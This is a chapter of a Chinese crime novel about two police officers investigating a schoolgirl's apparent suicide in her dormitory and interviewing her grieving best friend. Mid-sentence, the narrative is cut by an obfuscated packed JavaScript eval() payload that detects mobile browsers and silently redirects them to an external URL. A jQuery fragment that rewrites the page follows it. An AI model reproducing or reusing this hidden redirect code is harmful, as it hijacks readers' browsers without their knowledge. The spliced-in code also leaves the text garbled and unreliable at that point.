50. 她答应过的

作品:《她的求救,写在我的昨天

    蝉鸣此起彼伏,高温似乎让一切都燥热起来了。


    蔡星澜推开玻璃门,凉气扑面而来,炎热暂缓。她还没来得及走到自己的工位,潘铮的声音就从里间传出来:“星澜,你来得正好。你和婉仪,去一趟清岚中学。”


    “好的,铮姐。”她和刚进门的邓婉仪异口同声。


    潘铮递过来一张便签纸,上面简单地写着地址和一个名字:“初二女生,沈家玥。早上发现死在宿舍里。辖区派出所初步看是自杀,但她的同学报案的时候说不是。你们去看看。”


    “明白了。”


    警车上,邓婉仪开车,蔡星澜翻阅着手里那几页单薄的出警记录。记录很简单,时间、地点、报案人姓名,还有几句现场情况的简要描述。她看了两遍,纸页合上,目光落在车窗外。


    “初二。”邓婉仪打着方向盘,空调出风口吹出来的风还带着一股热流,混着外面进来的暑气,“才十四五岁。”


    蔡星澜没有回话,沉浸在思绪里面。还这么年轻。


    清岚中学在城东,是一所老牌公办初中。门口的梧桐树长了有些年头了,枝繁叶茂,遮挡了大半的烈阳。车子停在树荫下,门卫提前接到了通知,放她们进去。一个中年教导主任小跑着迎出来,衬衫后背湿了一大片,紧紧贴在皮肤上。


    “警察同志,这边请。”他擦着汗,语速很快,带着点气喘,“都保护好了,什么都没动,就等着你们来。”


    女生宿舍楼在校园最深处,穿过教学楼的时候,蔡星澜看见一群学生正排队进考场。有人好奇地打量她们,马上被队伍旁边的老师训斥了一声,便没有人再敢看。期末考试的日子,整层宿舍空荡荡的,只有偶尔几个因病缺考的学生可能在,但402那一层,学校已经提前清了场。


    402寝室的门开着,白色的门板上贴着住宿生名单。A4纸,打印的字体,六个人的名字,床号,班级,整齐地排列着。蔡星澜的目光掠过那一排名字,停在第六个—沈家玥,402-6床,初二(3)班。


    她推门进去。


    窗户紧闭,窗帘拉着一半,阳光从缝隙里挤进来。寝室里一共六张床,上床下桌,靠窗右边第二张是6号床。韩墨正在阶梯上捡拾什么,看见她们进来,点了点头。


    “初步勘验,应该是服了药,药性强,人没救回来。”他戴着白手套,指了指那张床,“具体什么药,等化验。身上没有外伤,口腔没有异味,不是常见的那几种烈性毒药,得送检。发现的时候人已经硬了,估计是后半夜的事。”


    蔡星澜顺着他的指向,站在阶梯上,仔细看着床边。


    床铺整理得很好。被子叠成整整齐齐的豆腐块,边角捏得四四方方。枕边放着一本《意林》,封面上的少女笑得明媚。蔡星澜拿起那本杂志,轻轻翻开,没有任何折页,也没有任何笔记,就像新买的,随手放在床上。


    她放下杂志,看向床下的书桌。


    柜子开着,里面校服叠得整整齐齐,一件一件放着。几本教辅书竖着立在书架里,书名朝外,按高矮排序。文具盒打开着,里面的笔按长短排列,黑色水笔一排,红色水笔一排,铅笔单独放着。桌面上什么都没有。


    邓婉仪已经在翻另外几个柜子,动作轻而仔细。她拉开抽屉,关上,又打开衣柜门,蹲下去看床底下的缝隙。过了一会儿,她站起来,拍了拍手,摇头:“没有药。没有瓶子,没有包装,什么都没有。垃圾桶里是空的,垃圾袋是新换的。”


    “医务室呢?”


    “问过了,”韩墨说,“沈家玥这学期没去过医务室。医务室就那些感冒咳嗽的药,没有这些药。宿舍管理员也说没见过她吃药。”


    蔡星澜继续仔细检查床沿。白色的漆面,很干净,没有被指甲抠过的痕迹。她伸手摸了摸床沿内侧,又看了枕头。枕巾洗得发白,边角磨起了毛,但磨得很均匀,是那种用了很久、经常洗晒才会有的旧。她摸了摸枕芯,指尖陷进棉花的柔软里,什么东西。又掀开床垫一角—床板上空空荡荡。


    很干净。


    太干净了。


    她直起身,环顾整个寝室。六张床,六张书桌,六把椅子,都摆得整整齐齐。地面拖过,能看见水渍干涸后留下的淡淡痕迹。窗台上有几盆绿萝,叶子翠绿,盆土湿润,应该是刚浇过水不久。


    “报案的那个同学呢?”


    “在楼下等着。”教导主任连忙说,“叫李燕玲,和沈家玥是一个小区的,从小学就一起的。两个孩子一起考进我们学校,分在一个班,不在一个寝室,但是平时都会一起。今天早上她发现的,一直哭,我们怎么劝都不肯去考场。”


    李燕玲坐在宿管阿姨的值班室里,双手端着一个一次性纸杯,没有喝水。


    她眼睛还是肿着,眼皮泛着粉红色,应该是反复擦拭眼泪,有点擦红了。但已经不哭了,就那样呆呆坐着,盯着纸杯里的水。


    看见她们进来,看见她们身上的警服,她立刻站起来,纸杯里的水晃了晃,溅出了几滴在地板上。


    “你是李燕玲?”蔡星澜在她对面坐下,声音放轻了些,“我是蔡警官,这是邓警官。我们想问问你,关于沈家玥的事。”


    李燕玲点头,手指不由自主地握紧了纸杯。纸杯被她捏得变了形,里面的水又晃出来一些。


    “你说你觉得她不是自杀,为什么?”


    女孩的嘴唇动了动。好一会儿才说出话来,声音是哑的,但语气很坚定,一字一顿:“因为她不会的。”


    “不会什么?”


    “不会自杀。”李燕玲抬起眼睛,那里面还有没干的泪,亮晶晶地挂在睫毛上,但更多的是别的什么—是固执,是不愿意相信,是一种近乎偏执的肯定。她看着蔡星澜,眼眶又红了,但没哭,“她答应过我,放暑假要一起出去玩。去市区,买贴纸,吃冰。她说的。上个星期还说的。”


    邓婉仪在旁边轻声问:“那她最近有没有什么不开心的事?学习上,或者和同学的关系?”


    “没有。”李燕玲摇头,摇得很用力,额前的碎发跟着晃,粘在汗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173219|193854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渍渍的额头上,“她成绩不错,这次期末考完试,她说她觉得自己能进年级前五十。每个星期五我们一起回家,星期天下午一起回学校。她没什么不开心,相反是我时常心情不好,她还安慰我。”


    “她怎么安慰你的?”蔡星澜问。


    李燕玲愣了一下,眼神晃了晃,像是在回忆:“就……我月考没考好,她就陪我绕着操场走,跟我说她小学的时候考过更差的,后来也追上来了。还把她妈妈给她买的零食分给我吃,说吃饱了就不难过了。”说到最后一句,她似乎脑海里在回忆,声音又哽住了,低下头,肩膀轻轻抽动。


    蔡星澜等她缓了几秒,才继续问:“那她有没有提过什么人,什么事,让她觉得有压力?”


    “没有。”还是摇头,“她不是那种人。她有什么事都会跟我说的,我们从小就认识了,是最好的朋友。她妈妈跟我妈妈也认识。我们什么都说的。”


    “那你觉得,谁会害她?”邓婉仪问。


    这个问题像一块石头落到水里。李燕玲几次三番想开口,却发不出声。她的嘴唇张了又合,合了又张,像是有什么东西堵在喉咙里,哽住了所有的话。最后她只是直愣愣看着前方。


    “我……我想不出来……”她的声音支离破碎,像是硬生生从什么地方挤出来的,带着哭腔,又拼命想要压下眼泪,“但是她答应我的事情,她都会做到的。她从小学就这样,说了什么就一定做到。上个星期她还说,等考完试,我们要一起去买那种最新出来的笔记本,一人一本,贴一样的贴纸。她已经看好了款式,拿手机给我看过图片……她不会死的……不会自己选择死的……”


    说到最后,那些强忍的眼泪如同断了线的珠子一滴一滴滚下来,砸在她膝盖上那块慢慢扩散的水渍上。她抬起手背去擦,却越擦越多。


    值班室的吊扇在头顶吱呀作响,转得很慢,带起的风根本驱不散闷热。窗外又是一阵蝉鸣,吵得人心里发慌。李燕玲的脖颈上沁出细密的汗,碎发粘在皮肤上,她却好像感觉不到炎热,只是自顾自低着头。


    蔡星澜没再追问,只是把纸巾盒往她那边推了推。


    等了一会儿,等她哭声稍微平复,才轻声说:“好,我们知道了。”


    她站起身,看了一眼邓婉仪。邓婉仪会意,走过去轻轻拍了拍李燕玲的肩膀,那一下很轻,像是怕惊到什么似的。


    “先好好考试。”邓婉仪说,“有什么事我们会再找你。”


    李燕玲没抬头,只是点了点头,肩膀还轻轻抖着。


    走廊里,教导主任还在等,手里攥着纸巾擦汗,纸巾已经湿透了,软趴趴地贴在掌心。蔡星澜走出来,热气从敞开的楼门涌进来,如同浪潮席卷而来,瞬间包裹住她。


    她回头看了一眼402紧闭的门。


    没有发现药物,没有遗留遗书,没有死亡动机。一个成绩好、有朋友、暑假有约定的初二女生,默默死在了自己的床上。干干净净,什么都没有留下。


    这本身就是最不干净的地方。